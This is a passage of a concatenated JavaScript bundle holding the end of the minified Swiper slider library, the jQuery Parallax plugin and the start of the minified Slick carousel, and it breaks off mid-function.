function(){this.params.lazy.enabled&&!this.params.lazy.loadOnTransitionStart&&this.lazy.load()}}},{name:"controller",params:{controller:{control:void 0,inverse:!1,by:"slide"}},create:function(){d.extend(this,{controller:{control:this.params.controller.control,getInterpolateFunction:q.getInterpolateFunction.bind(this),setTranslate:q.setTranslate.bind(this),setTransition:q.setTransition.bind(this)}})},on:{update:function(){this.controller.control&&this.controller.spline&&(this.controller.spline=void 0,delete this.controller.spline)},resize:function(){this.controller.control&&this.controller.spline&&(this.controller.spline=void 0,delete this.controller.spline)},observerUpdate:function(){this.controller.control&&this.controller.spline&&(this.controller.spline=void 0,delete this.controller.spline)},setTranslate:function(e,t){this.controller.control&&this.controller.setTranslate(e,t)},setTransition:function(e,t){this.controller.control&&this.controller.setTransition(e,t)}}},{name:"a11y",params:{a11y:{enabled:!0,notificationClass:"swiper-notification",prevSlideMessage:"Previous slide",nextSlideMessage:"Next slide",firstSlideMessage:"This is the first slide",lastSlideMessage:"This is the last slide",paginationBulletMessage:"Go to slide {{index}}"}},create:function(){var e=this;d.extend(e,{a11y:{liveRegion:s('<span class="'+e.params.a11y.notificationClass+'" aria-live="assertive" aria-atomic="true"></span>')}}),Object.keys(j).forEach(function(t){e.a11y[t]=j[t].bind(e)})},on:{init:function(){this.params.a11y.enabled&&(this.a11y.init(),this.a11y.updateNavigation())},toEdge:function(){this.params.a11y.enabled&&this.a11y.updateNavigation()},fromEdge:function(){this.params.a11y.enabled&&this.a11y.updateNavigation()},paginationUpdate:function(){this.params.a11y.enabled&&this.a11y.updatePagination()},destroy:function(){this.params.a11y.enabled&&this.a11y.destroy()}}},{name:"history",params:{history:{enabled:!1,replaceState:!1,key:"slides"}},create:function(){d.extend(this,{history:{init:K.init.bind(this),setHistory:K.setHistory.bind(this),setHistoryPopState:K.setHistoryPopState.bind(this),scrollToSlide:K.scrollToSlide.bind(this),destroy:K.destroy.bind(this)}})},on:{init:function(){this.params.history.enabled&&this.history.init()},destroy:function(){this.params.history.enabled&&this.history.destroy()},transitionEnd:function(){this.history.initialized&&this.history.setHistory(this.params.history.key,this.activeIndex)}}},{name:"hash-navigation",params:{hashNavigation:{enabled:!1,replaceState:!1,watchState:!1}},create:function(){d.extend(this,{hashNavigation:{initialized:!1,init:U.init.bind(this),destroy:U.destroy.bind(this),setHash:U.setHash.bind(this),onHashCange:U.onHashCange.bind(this)}})},on:{init:function(){this.params.hashNavigation.enabled&&this.hashNavigation.init()},destroy:function(){this.params.hashNavigation.enabled&&this.hashNavigation.destroy()},transitionEnd:function(){this.hashNavigation.initialized&&this.hashNavigation.setHash()}}},{name:"autoplay",params:{autoplay:{enabled:!1,delay:3e3,waitForTransition:!0,disableOnInteraction:!0,stopOnLastSlide:!1,reverseDirection:!1}},create:function(){d.extend(this,{autoplay:{running:!1,paused:!1,run:_.run.bind(this),start:_.start.bind(this),stop:_.stop.bind(this),pause:_.pause.bind(this)}})},on:{init:function(){this.params.autoplay.enabled&&this.autoplay.start()},beforeTransitionStart:function(e,t){this.autoplay.running&&(t||!this.params.autoplay.disableOnInteraction?this.autoplay.pause(e):this.autoplay.stop())},sliderFirstMove:function(){this.autoplay.running&&(this.params.autoplay.disableOnInteraction?this.autoplay.stop():this.autoplay.pause())},destroy:function(){this.autoplay.running&&this.autoplay.stop()}}},{name:"effect-fade",params:{fadeEffect:{crossFade:!1}},create:function(){d.extend(this,{fadeEffect:{setTranslate:Z.setTranslate.bind(this),setTransition:Z.setTransition.bind(this)}})},on:{beforeInit:function(){if("fade"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"fade");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!0};d.extend(this.params,e),d.extend(this.originalParams,e)}},setTranslate:function(){"fade"===this.params.effect&&this.fadeEffect.setTranslate()},setTransition:function(e){"fade"===this.params.effect&&this.fadeEffect.setTransition(e)}}},{name:"effect-cube",params:{cubeEffect:{slideShadows:!0,shadow:!0,shadowOffset:20,shadowScale:.94}},create:function(){d.extend(this,{cubeEffect:{setTranslate:Q.setTranslate.bind(this),setTransition:Q.setTransition.bind(this)}})},on:{beforeInit:function(){if("cube"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"cube"),this.classNames.push(this.params.containerModifierClass+"3d");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,resistanceRatio:0,spaceBetween:0,centeredSlides:!1,virtualTranslate:!0};d.extend(this.params,e),d.extend(this.originalParams,e)}},setTranslate:function(){"cube"===this.params.effect&&this.cubeEffect.setTranslate()},setTransition:function(e){"cube"===this.params.effect&&this.cubeEffect.setTransition(e)}}},{name:"effect-flip",params:{flipEffect:{slideShadows:!0,limitRotation:!0}},create:function(){d.extend(this,{flipEffect:{setTranslate:J.setTranslate.bind(this),setTransition:J.setTransition.bind(this)}})},on:{beforeInit:function(){if("flip"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"flip"),this.classNames.push(this.params.containerModifierClass+"3d");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!0};d.extend(this.params,e),d.extend(this.originalParams,e)}},setTranslate:function(){"flip"===this.params.effect&&this.flipEffect.setTranslate()},setTransition:function(e){"flip"===this.params.effect&&this.flipEffect.setTransition(e)}}},{name:"effect-coverflow",params:{coverflowEffect:{rotate:50,stretch:0,depth:100,modifier:1,slideShadows:!0}},create:function(){d.extend(this,{coverflowEffect:{setTranslate:ee.setTranslate.bind(this),setTransition:ee.setTransition.bind(this)}})},on:{beforeInit:function(){"coverflow"===this.params.effect&&(this.classNames.push(this.params.containerModifierClass+"coverflow"),this.classNames.push(this.params.containerModifierClass+"3d"),this.params.watchSlidesProgress=!0,this.originalParams.watchSlidesProgress=!0)},setTranslate:function(){"coverflow"===this.params.effect&&this.coverflowEffect.setTranslate()},setTransition:function(e){"coverflow"===this.params.effect&&this.coverflowEffect.setTransition(e)}}}];return void 0===k.use&&(k.use=k.Class.use,k.installModule=k.Class.installModule),k.use(te),k}); +//# sourceMappingURL=swiper.min.js.map + + +/* jQuery Parallax +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ +/* +Plugin: jQuery Parallax +Version 1.1.3 +Author: Ian Lunn +Twitter: @IanLunn +Author URL: http://www.ianlunn.co.uk/ +Plugin URL: http://www.ianlunn.co.uk/plugins/jquery-parallax/ + +Dual licensed under the MIT and GPL licenses: +http://www.opensource.org/licenses/mit-license.php +http://www.gnu.org/licenses/gpl.html +*/ + +(function( jQuery ){ + var jQuerywindow = jQuery(window); + var windowHeight = jQuerywindow.height(); + + jQuerywindow.resize(function () { + windowHeight = jQuerywindow.height(); + }); + + jQuery.fn.parallax = function(xpos, speedFactor, outerHeight) { + var jQuerythis = jQuery(this); + var getHeight; + var firstTop; + var paddingTop = 0; + + //get the starting position of each element to have parallax applied to it + jQuerythis.each(function(){ + firstTop = jQuerythis.offset().top; + }); + + if (outerHeight) { + getHeight = function(jqo) { + return jqo.outerHeight(true); + }; + } else { + getHeight = function(jqo) { + return jqo.height(); + }; + } + + // setup defaults if arguments aren't specified + if (arguments.length < 1 || xpos === null) xpos = "50%"; + if (arguments.length < 2 || speedFactor === null) speedFactor = 0.1; + if (arguments.length < 3 || outerHeight === null) outerHeight = true; + + // function to be called whenever the window is scrolled or resized + function update(){ + var pos = jQuerywindow.scrollTop(); + + jQuerythis.each(function(){ + var jQueryelement = jQuery(this); + var top = jQueryelement.offset().top; + var height = getHeight(jQueryelement); + + // Check if totally above or totally below viewport + if (top + height < pos || top > pos + windowHeight) { + return; + } + + jQuerythis.css('backgroundPosition', xpos + " " + Math.round((firstTop - pos) * speedFactor) + "px"); + }); + } + + jQuerywindow.bind('scroll', update).resize(update); + update(); + }; +})(jQuery); + + +/* Slick 1.6.0 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/* _ _ _ _ + ___| (_) ___| | __ (_)___ +/ __| | |/ __| |/ / | / __| +\__ \ | | (__| < _ | \__ \ +|___/_|_|\___|_|\_(_)/ |___/ + |__/ + Version: 1.6.0 + */ +/* global window, document, define, jQuery, setInterval, clearInterval */ +!function(i){"use strict";"function"==typeof define&&define.amd?define(["jquery"],i):"undefined"!=typeof exports?module.exports=i(require("jquery")):i(jQuery)}(function(i){"use strict";var e=window.Slick||{};e=function(){function e(e,o){var s,n=this;n.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:i(e),appendDots:i(e),arrows:!0,asNavFor:null,prevArrow:'<button type="button" data-role="none" class="slick-prev" aria-label="Previous" tabindex="0" role="button">Previous</button>',nextArrow:'<button type="button" data-role="none" class="slick-next" aria-label="Next" tabindex="0" role="button">Next</button>',autoplay:!1,autoplaySpeed:3e3,centerMode:!1,centerPadding:"50px",cssEase:"ease",customPaging:function(e,t){return i('<button type="button" data-role="none" role="button" tabindex="0" />').text(t+1)},dots:!1,dotsClass:"slick-dots",draggable:!0,easing:"linear",edgeFriction:.35,fade:!1,focusOnSelect:!1,infinite:!0,initialSlide:0,lazyLoad:"ondemand",mobileFirst:!1,pauseOnHover:!0,pauseOnFocus:!0,pauseOnDotsHover:!1,respondTo:"window",responsive:null,rows:1,rtl:!1,slide:"",slidesPerRow:1,slidesToShow:1,slidesToScroll:1,speed:500,swipe:!0,swipeToSlide:!1,touchMove:!0,touchThreshold:5,useCSS:!0,useTransform:!0,variableWidth:!1,vertical:!1,verticalSwiping:!1,waitForAnimate:!0,zIndex:1e3},n.initials={animating:!1,dragging:!1,autoPlayTimer:null,currentDirection:0,currentLeft:null,currentSlide:0,direction:1,$dots:null,listWidth:null,listHeight:null,loadIndex:0,$nextArrow:null,$prevArrow:null,slideCount:null,slideWidth:null,$slideTrack:null,$slides:null,sliding:!1,slideOffset:0,swipeLeft:null,$list:null,touchObject:{},transformsEnabled:!1,unslicked:!1},i.extend(n,n.initials),n.activeBreakpoint=null,n.animType=null,n.animProp=null,n.breakpoints=[],n.breakpointSettings=[],n.cssTransitions=!1,n.focussed=!1,n.interrupted=!1,n.hidden="hidden",n.paused=!0,n.positionProp=null,n.respondTo=null,n.rowCount=1,n.shouldClick=!0,n.$slider=i(e),n.$slidesCache=null,n.transformType=null,n.transitionType=null,n.visibilityChange="visibilitychange",n.windowWidth=0,n.windowTimer=null,s=i(e).data("slick")||{},n.options=i.extend({},n.defaults,o,s),n.currentSlide=n.options.initialSlide,n.originalSettings=n.options,"undefined"!=typeof document.mozHidden?(n.hidden="mozHidden",n.visibilityChange="mozvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(n.hidden="webkitHidden",n.visibilityChange="webkitvisibilitychange"),n.autoPlay=i.proxy(n.autoPlay,n),n.autoPlayClear=i.proxy(n.autoPlayClear,n),n.autoPlayIterator=i.proxy(n.autoPlayIterator,n),n.changeSlide=i.proxy(n.changeSlide,n),n.clickHandler=i.proxy(n.clickHandler,n),n.selectHandler=i.proxy(n.selectHandler,n),n.setPosition=i.proxy(n.setPosition,n),n.swipeHandler=i.proxy(n.swipeHandler,n),n.dragHandler=i.proxy(n.dragHandler,n),n.keyHandler=i.proxy(n.keyHandler,n),n.instanceUid=t++,n.htmlExpr=/^(?:\s*(<[\w\W]+>)[^>]*)$/,n.registerBreakpoints(),n.init(!0)}var t=0;return e}(),e.prototype.activateADA=function(){var i=this;i.$slideTrack.find(".slick-active").attr({"aria-hidden":"false"}).find("a, input, button, select").attr({tabindex:"0"})},e.prototype.addSlide=e.prototype.slickAdd=function(e,t,o){var s=this;if("boolean"==typeof t)o=t,t=null;else if(0>t||t>=s.slideCount)return!1;s.unload(),"number"==typeof t?0===t&&0===s.$slides.length?i(e).appendTo(s.$slideTrack):o?i(e).insertBefore(s.$slides.eq(t)):i(e).insertAfter(s.$slides.eq(t)):o===!0?i(e).prependTo(s.$slideTrack):i(e).appendTo(s.$slideTrack),s.$slides=s.$slideTrack.children(this.options.slide),s.$slideTrack.children(this.options.slide).detach(),s.$slideTrack.append(s.$slides),s.$slides.each(function(e,t){i(t).attr("data-slick-index",e)}),s.$slidesCache=s.$slides,s.reinit()},e.prototype.animateHeight=function(){var i=this;if(1===i.options.slidesToShow&&i.options.adaptiveHeight===!0&&i.options.vertical===!1){var e=i.$slides.eq(i.currentSlide).outerHeight(!0);i.$list.animate({height:e},i.options.speed)}},e.prototype.animateSlide=function(e,t){var o={},s=this;s.animateHeight(),s.options.rtl===!0&&s.options.vertical===!1&&(e=-e),s.transformsEnabled===!1?s.options.vertical===!1?s.$slideTrack.animate({left:e},s.options.speed,s.options.easing,t):s.$slideTrack.animate({top:e},s.options.speed,s.options.easing,t):s.cssTransitions===!1?(s.options.rtl===!0&&(s.currentLeft=-s.currentLeft),i({animStart:s.currentLeft}).animate({animStart:e},{duration:s.options.speed,easing:s.options.easing,step:function(i){i=Math.ceil(i),s.options.vertical===!1?(o[s.animType]="translate("+i+"px, 0px)",s.$slideTrack.css(o)):(o[s.animType]="translate(0px,"+i+"px)",s.$slideTrack.css(o))},complete:function(){t&&t.call()}})):(s.applyTransition(),e=Math.ceil(e),s.options.vertical===!1?o[s.animType]="translate3d("+e+"px, 0px, 0px)":o[s.animType]="translate3d(0px,"+e+"px, 0px)",s.$slideTrack.css(o),t&&setTimeout(function(){s.disableTransition(),t.call()},s.options.speed))},e.prototype.getNavTarget=function(){var e=this,t=e.options.asNavFor;return t&&null!==t&&(t=i(t).not(e.$slider)),t},e.prototype.asNavFor=function(e){var t=this,o=t.getNavTarget();null!==o&&"object"==typeof o&&o.each(function(){var t=i(this).slick("getSlick");t.unslicked||t.slideHandler(e,!0)})},e.prototype.applyTransition=function(i){var e=this,t={};e.options.fade===!1?t[e.transitionType]=e.transformType+" "+e.options.speed+"ms "+e.options.cssEase:t[e.transitionType]="opacity "+e.options.speed+"ms "+e.options.cssEase,e.options.fade===!1?e.$slideTrack.css(t):e.$slides.eq(i).css(t)},e.prototype.autoPlay=function(){var i=this;i.autoPlayClear(),i.slideCount>i.options.slidesToShow&&(i.autoPlayTimer=setInterval(i.autoPlayIterator,i.options.autoplaySpeed))},e.prototype.autoPlayClear=function(){var i=this;i.autoPlayTimer&&clearInterval(i.autoPlayTimer)},e.prototype.autoPlayIterator=function(){var i=this,e=i.currentSlide+i.options.slidesToScroll;i.paused||i.interrupted||i.focussed||(i.options.infinite===!1&&(1===i.direction&&i.currentSlide+1===i.slideCount-1?i.direction=0:0===i.direction&&(e=i.currentSlide-i.options.slidesToScroll,i.currentSlide-1===0&&(i.direction=1))),i.slideHandler(e))},e.prototype.buildArrows=function(){var e=this;e.options.arrows===!0&&(e.$prevArrow=i(e.options.prevArrow).addClass("slick-arrow"),e.$nextArrow=i(e.options.nextArrow).addClass("slick-arrow"),e.slideCount>e.options.slidesToShow?(e.$prevArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),e.$nextArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),e.htmlExpr.test(e.options.prevArrow)&&e.$prevArrow.prependTo(e.options.appendArrows),e.htmlExpr.test(e.options.nextArrow)&&e.$nextArrow.appendTo(e.options.appendArrows),e.options.infinite!==!0&&e.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true")):e.$prevArrow.add(e.$nextArrow).addClass("slick-hidden").attr({"aria-disabled":"true",tabindex:"-1"}))},e.prototype.buildDots=function(){var e,t,o=this;if(o.options.dots===!0&&o.slideCount>o.options.slidesToShow){for(o.$slider.addClass("slick-dotted"),t=i("<ul />").addClass(o.options.dotsClass),e=0;e<=o.getDotCount();e+=1)t.append(i("<li />").append(o.options.customPaging.call(this,o,e)));o.$dots=t.appendTo(o.options.appendDots),o.$dots.find("li").first().addClass("slick-active").attr("aria-hidden","false")}},e.prototype.buildOut=function(){var e=this;e.$slides=e.$slider.children(e.options.slide+":not(.slick-cloned)").addClass("slick-slide"),e.slideCount=e.$slides.length,e.$slides.each(function(e,t){i(t).attr("data-slick-index",e).data("originalStyling",i(t).attr("style")||"")}),e.$slider.addClass("slick-slider"),e.$slideTrack=0===e.slideCount?i('<div class="slick-track"/>').appendTo(e.$slider):e.$slides.wrapAll('<div class="slick-track"/>').parent(),e.$list=e.$slideTrack.wrap('<div aria-live="polite" class="slick-list"/>').parent(),e.$slideTrack.css("opacity",0),(e.options.centerMode===!0||e.options.swipeToSlide===!0)&&(e.options.slidesToScroll=1),i("img[data-lazy]",e.$slider).not("[src]").addClass("slick-loading"),e.setupInfinite(),e.buildArrows(),e.buildDots(),e.updateDots(),e.setSlideClasses("number"==typeof e.currentSlide?e.currentSlide:0),e.options.draggable===!0&&e.$list.addClass("draggable")},e.prototype.buildRows=function(){var i,e,t,o,s,n,r,l=this;if(o=document.createDocumentFragment(),n=l.$slider.children(),l.options.rows>1){for(r=l.options.slidesPerRow*l.options.rows,s=Math.ceil(n.length/r),i=0;s>i;i++){var a=document.createElement("div");for(e=0;e<l.options.rows;e++){var d=document.createElement("div");for(t=0;t<l.options.slidesPerRow;t++){var c=i*r+(e*l.options.slidesPerRow+t);n.get(c)&&d.appendChild(n.get(c))}a.appendChild(d)}o.appendChild(a)}l.$slider.empty().append(o),l.$slider.children().children().children().css({width:100/l.options.slidesPerRow+"%",display:"inline-block"})}},e.prototype.checkResponsive=function(e,t){var o,s,n,r=this,l=!1,a=r.$slider.width(),d=window.innerWidth||i(window).width();if("window"===r.respondTo?n=d:"slider"===r.respondTo?n=a:"min"===r.respondTo&&(n=Math.min(d,a)),r.options.responsive&&r.options.responsive.length&&null!==r.options.responsive){s=null;for(o in r.breakpoints)r.breakpoints.hasOwnProperty(o)&&(r.originalSettings.mobileFirst===!1?n<r.breakpoints[o]&&(s=r.breakpoints[o]):n>r.breakpoints[o]&&(s=r.breakpoints[o]));null!==s?null!==r.activeBreakpoint?(s!==r.activeBreakpoint||t)&&(r.activeBreakpoint=s,"unslick"===r.breakpointSettings[s]?r.unslick(s):(r.options=i.extend({},r.originalSettings,r.breakpointSettings[s]),e===!0&&(r.currentSlide=r.options.initialSlide),r.refresh(e)),l=s):(r.activeBreakpoint=s,"unslick"===r.breakpointSettings[s]?r.unslick(s):(r.options=i.extend({},r.originalSettings,r.breakpointSettings[s]),e===!0&&(r.currentSlide=r.options.initialSlide),r.refresh(e)),l=s):null!==r.activeBreakpoint&&(r.activeBreakpoint=null,r.options=r.originalSettings,e===!0&&(r.currentSlide=r.options.initialSlide),r.refresh(e),l=s),e||l===!1||r.$slider.trigger("breakpoint",[r,l])}},e.prototype.changeSlide=function(e,t){var o,s,n,r=this,l=i(e.currentTarget);switch(l.is("a")&&e.preventDefault(),l.is("li")||(l=l.closest("li")),n=r.slideCount%r.options.slidesToScroll!==0,o=n?0:(r.slideCount-r.currentSlide)%r.options.slidesToScroll,e.data.message){case"previous":s=0===o?r.options.slidesToScroll:r.options.slidesToShow-o,r.slideCount>r.options.slidesToShow&&r.slideHandler(r.currentSlide-s,!1,t);break;case"next":s=0===o?r.options.slidesToScroll:o,r.slideCount>r.options.slidesToShow&&r.slideHandler(r.currentSlide+s,!1,t);break;case"index":var a=0===e.data.index?0:e.data.index||l.index()*r.options.slidesToScroll;r.slideHandler(r.checkNavigable(a),!1,t),l.children().trigger("focus");break;default:return}},e.prototype.checkNavigable=function(i){var e,t,o=this;if(e=o.getNavigableIndexes(),t=0,i>e[e.length-1])i=e[e.length-1];else for(var s in e){if(i<e[s]){i=t;break}t=e[s]}return i},e.prototype.cleanUpEvents=function(){var e=this;e.options.dots&&null!==e.$dots&&i("li",e.$dots).off("click.slick",e.changeSlide).off("mouseenter.slick",i.proxy(e.interrupt,e,!0)).off("mouseleave.slick",i.proxy(e.interrupt,e,!1)),e.$slider.off("focus.slick blur.slick"),e.options.arrows===!0&&e.slideCount>e.options.slidesToShow&&(e.$prevArrow&&e.$prevArrow.off("click.slick",e.changeSlide),e.$nextArrow&&e.$nextArrow.off("click.slick",e.changeSlide)),e.$list.off("touchstart.slick mousedown.slick",e.swipeHandler),e.$list.off("touchmove.slick mousemove.slick",e.swipeHandler),e.$list.off("touchend.slick mouseup.slick",e.swipeHandler),e.$list.off("touchcancel.slick mouseleave.slick",e.swipeHandler),e.$list.off("click.slick",e.clickHandler),i(document).off(e.visibilityChange,e.visibility),e.cleanUpSlideEvents(),e.options.accessibility===!0&&e.$list.off("keydown.slick",e.keyHandler),e.options.focusOnSelect===!0&&i(e.$slideTrack).children().off("click.slick",e.selectHandler),i(window).off("orientationchange.slick.slick-"+e.instanceUid,e.orientationChange),i(window).off("resize.slick.slick-"+e.instanceUid,e.resize),i("[draggable!=true]",e.$slideTrack).off("dragstart",e.preventDefault),i(window).off("load.slick.slick-"+e.instanceUid,e.setPosition),i(document).off("ready.slick.slick-"+e.instanceUid,e.setPosition)},e.prototype.cleanUpSlideEvents=function(){var e=this;e.$list.off("mouseenter.slick",i.proxy(e.interrupt,e,!0)),e.$list.off("mouseleave.slick",i.proxy(e.interrupt,e,!1))},e.prototype.cleanUpRows=function(){var i,e=this;e.options.rows>1&&(i=e.$slides.children().children(),i.removeAttr("style"),e.$slider.empty().append(i))},e.prototype.clickHandler=function(i){var e=this;e.shouldClick===!1&&(i.stopImmediatePropagation(),i.stopPropagation(),i.preventDefault())},e.prototype.destroy=function(e){var t=this;t.autoPlayClear(),t.touchObject={},t.cleanUpEvents(),i(".slick-cloned",t.$slider).detach(),t.$dots&&t.$dots.remove(),t.$prevArrow&&t.$prevArrow.length&&(t.$prevArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),t.htmlExpr.test(t.options.prevArrow)&&t.$prevArrow.remove()),t.$nextArrow&&t.$nextArrow.length&&(t.$nextArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),t.htmlExpr.test(t.options.nextArrow)&&t.$nextArrow.remove()),t.$slides&&(t.$slides.removeClass("slick-slide slick-active slick-center slick-visible slick-current").removeAttr("aria-hidden").removeAttr("data-slick-index").each(function(){i(this).attr("style",i(this).data("originalStyling"))}),t.$slideTrack.children(this.options.slide).detach(),t.$slideTrack.detach(),t.$list.detach(),t.$slider.append(t.$slides)),t.cleanUpRows(),t.$slider.removeClass("slick-slider"),t.$slider.removeClass("slick-initialized"),t.$slider.removeClass("slick-dotted"),t.unslicked=!0,e||t.$slider.trigger("destroy",[t])},e.prototype.disableTransition=function(i){var e=this,t={};t[e.transitionType]="",e.options.fade===!1?e.$slideTrack.css(t):e.$slides.eq(i).css(t)},e.prototype.fadeSlide=function(i,e){var t=this;t.cssTransitions===!1?(t.$slides.eq(i).css({zIndex:t.options.zIndex}),t.$slides.eq(i).animate({opacity:1},t.options.speed,t.options.easing,e)):(t.applyTransition(i),t.$slides.eq(i).css({opacity:1,zIndex:t.options.zIndex}),e&&setTimeout(function(){t.disableTransition(i),e.call()},t.options.speed))},e.prototype.fadeSlideOut=function(i){var e=this;e.cssTransitions===!1?e.$slides.eq(i).animate({opacity:0,zIndex:e.options.zIndex-2},e.options.speed,e.options.easing):(e.applyTransition(i),e.$slides.eq(i).css({opacity:0,zIndex:e.options.zIndex-2}))},e.prototype.filterSlides=e.prototype.slickFilter=function(i){var e=this;null!==i&&(e.$slidesCache=e.$slides,e.unload(),e.$slideTrack.children(this.options.slide).detach(),e.$slidesCache.filter(i).appendTo(e.$slideTrack),e.reinit())},e.prototype.focusHandler=function(){var e=this;e.$slider.off("focus.slick blur.slick").on("focus.slick blur.slick","*:not(.slick-arrow)",function(t){t.stopImmediatePropagation();var o=i(this);setTimeout(function(){e.options.pauseOnFocus&&(e.focussed=o.is(":focus"),e.autoPlay())},0)})},e.prototype.getCurrent=e.prototype.slickCurrentSlide=function(){var i=this;return i.currentSlide},e.prototype.getDotCount=function(){var i=this,e=0,t=0,o=0;if(i.options.infinite===!0)for(;e<i.slideCount;)++o,e=t+i.options.slidesToScroll,t+=i.options.slidesToScroll<=i.options.slidesToShow?i.options.slidesToScroll:i.options.slidesToShow;else if(i.options.centerMode===!0)o=i.slideCount;else if(i.options.asNavFor)for(;e<i.slideCount;)++o,e=t+i.options.slidesToScroll,t+=i.options.slidesToScroll<=i.options.slidesToShow?i.options.slidesToScroll:i.options.slidesToShow;else o=1+Math.ceil((i.slideCount-i.options.slidesToShow)/i.options.slidesToScroll);return o-1},e.prototype.getLeft=function(i){var e,t,o,s=this,n=0;return s.slideOffset=0,t=s.$slides.first().outerHeight(!0),s.options.infinite===!0?(s.slideCount>s.options.slidesToShow&&(s.slideOffset=s.slideWidth*s.options.slidesToShow*-1,n=t*s.options.slidesToShow*-1),s.slideCount%s.options.slidesToScroll!==0&&i+s.options.slidesToScroll>s.slideCount&&s.slideCount>s.options.slidesToShow&&(i>s.slideCount?(s.slideOffset=(s.options.slidesToShow-(i-s.slideCount))*s.slideWidth*-1,n=(s.options.slidesToShow-(i-s.slideCount))*t*-1):(s.slideOffset=s.slideCount%s.options.slidesToScroll*s.slideWidth*-1,n=s.slideCount%s.options.slidesToScroll*t*-1))):i+s.options.slidesToShow>s.slideCount&&(s.slideOffset=(i+s.options.slidesToShow-s.slideCount)*s.slideWidth,n=(i+s.options.slidesToShow-s.slideCount)*t),s.slideCount<=s.options.slidesToShow&&(s.slideOffset=0,n=0),s.options.centerMode===!0&&s.options.infinite===!0?s.slideOffset+=s.slideWidth*Math.floor(s.options.slidesToShow/2)-s.slideWidth:s.options.centerMode===!0&&(s.slideOffset=0,s.slideOffset+=s.slideWidth*Math.floor(s.options.slidesToShow/2)),e=s.options.vertical===!1?i*s.slideWidth*-1+s.slideOffset:i*t*-1+n,s.options.variableWidth===!0&&(o=s.slideCount<=s.options.slidesToShow||s.options.infinite===!1?s.$slideTrack.children(".slick-slide").eq(i):s.$slideTrack.children(".slick-slide").eq(i+s.options.slidesToShow),e=s.options.rtl===!0?o[0]?-1*(s.$slideTrack.width()-o[0].offsetLeft-o.width()):0:o[0]?-1*o[0].offsetLeft:0,s.options.centerMode===!0&&(o=s.slideCount<=s.options.slidesToShow||s.options.infinite===!1?s.$slideTrack.children(".slick-slide").eq(i):s.$slideTrack.children(".slick-slide").eq(i+s.options.slidesToShow+1),e=s.options.rtl===!0?o[0]?-1*(s.$slideTrack.width()-o[0].offsetLeft-o.width()):0:o[0]?-1*o[0].offsetLeft:0,e+=(s.$list.width()-o.outerWidth())/2)),e},e.prototype.getOption=e.prototype.slickGetOption=function(i){var e=this;return e.options[i]},e.prototype.getNavigableIndexes=function(){var i,e=this,t=0,o=0,s=[];for(e.options.infinite===!1?i=e.slideCount:(t=-1*e.options.slidesToScroll,o=-1*e.options.slidesToScroll,i=2*e.slideCount);i>t;)s.push(t),t=o+e.options.slidesToScroll,o+=e.options.slidesToScroll<=e.options.slidesToShow?e.options.slidesToScroll:e.options.slidesToShow;return s},e.prototype.getSlick=function(){return this},e.prototype.getSlideCount=function(){var e,t,o,s=this;return o=s.options.centerMode===!0?s.slideWidth*Math.floor(s.options.slidesToShow/2):0,s.options.swipeToSlide===!0?(s.$slideTrack.find(".slick-slide").each(function(e,n){return n.offsetLeft-o+i(n).outerWidth()/2>-1*s.swipeLeft?(t=n,!1):void 0}),e=Math.abs(i(t).attr("data-slick-index")-s.currentSlide)||1):s.options.slidesToScroll},e.prototype.goTo=e.prototype.slickGoTo=function(i,e){var t=this;t.changeSlide({data:{message:"index",index:parseInt(i)}},e)},e.prototype.init=function(e){var t=this;i(t.$slider).hasClass("slick-initialized")||(i(t.$slider).addClass("slick-initialized"),t.buildRows(),t.buildOut(),t.setProps(),t.startLoad(),t.loadSlider(),t.initializeEvents(),t.updateArrows(),t.updateDots(),t.checkResponsive(!0),t.focusHandler()),e&&t.$slider.trigger("init",[t]),t.options.accessibility===!0&&t.initADA(),t.options.autoplay&&(t.paused=!1,t.autoPlay())},e.prototype.initADA=function(){var e=this;e.$slides.add(e.$slideTrack.find(".slick-cloned")).attr({"aria-hidden":"true",tabindex:"-1"}).find("a, input, button, select").attr({tabindex:"-1"}),e.$slideTrack.attr("role","listbox"),e.$slides.not(e.$slideTrack.find(".slick-cloned")).each(function(t){i(this).attr({role:"option","aria-describedby":"slick-slide"+e.instanceUid+t})}),null!==e.$dots&&e.$dots.attr("role","tablist").find("li").each(function(t){i(this).attr({role:"presentation","aria-selected":"false","aria-controls":"navigation"+e.instanceUid+t,id:"slick-slide"+e.instanceUid+t})}).first().attr("aria-selected","true").end().find("button").attr("role","button").end().closest("div").attr("role","toolbar"),e.activateADA()},e.prototype.initArrowEvents=function(){var i=this;i.options.arrows===!0&&i.slideCount>i.options.slidesToShow&&(i.$prevArrow.off("click.slick").on("click.slick",{message:"previous"},i.changeSlide),i.$nextArrow.off("click.slick").on("click.slick",{message:"next"},i.changeSlide))},e.prototype.initDotEvents=function(){var e=this;e.options.dots===!0&&e.slideCount>e.options.slidesToShow&&i("li",e.$dots).on("click.slick",{message:"index"},e.changeSlide),e.options.dots===!0&&e.options.pauseOnDotsHover===!0&&i("li",e.$dots).on("mouseenter.slick",i.proxy(e.interrupt,e,!0)).on("mouseleave.slick",i.proxy(e.interrupt,e,!1))},e.prototype.initSlideEvents=function(){var e=this;e.options.pauseOnHover&&(e.$list.on("mouseenter.slick",i.proxy(e.interrupt,e,!0)),e.$list.on("mouseleave.slick",i.proxy(e.interrupt,e,!1)))},e.prototype.initializeEvents=function(){var e=this;e.initArrowEvents(),e.initDotEvents(),e.initSlideEvents(),e.$list.on("touchstart.slick mousedown.slick",{action:"start"},e.swipeHandler),e.$list.on("touchmove.slick mousemove.slick",{action:"move"},e.swipeHandler),e.$list.on("touchend.slick 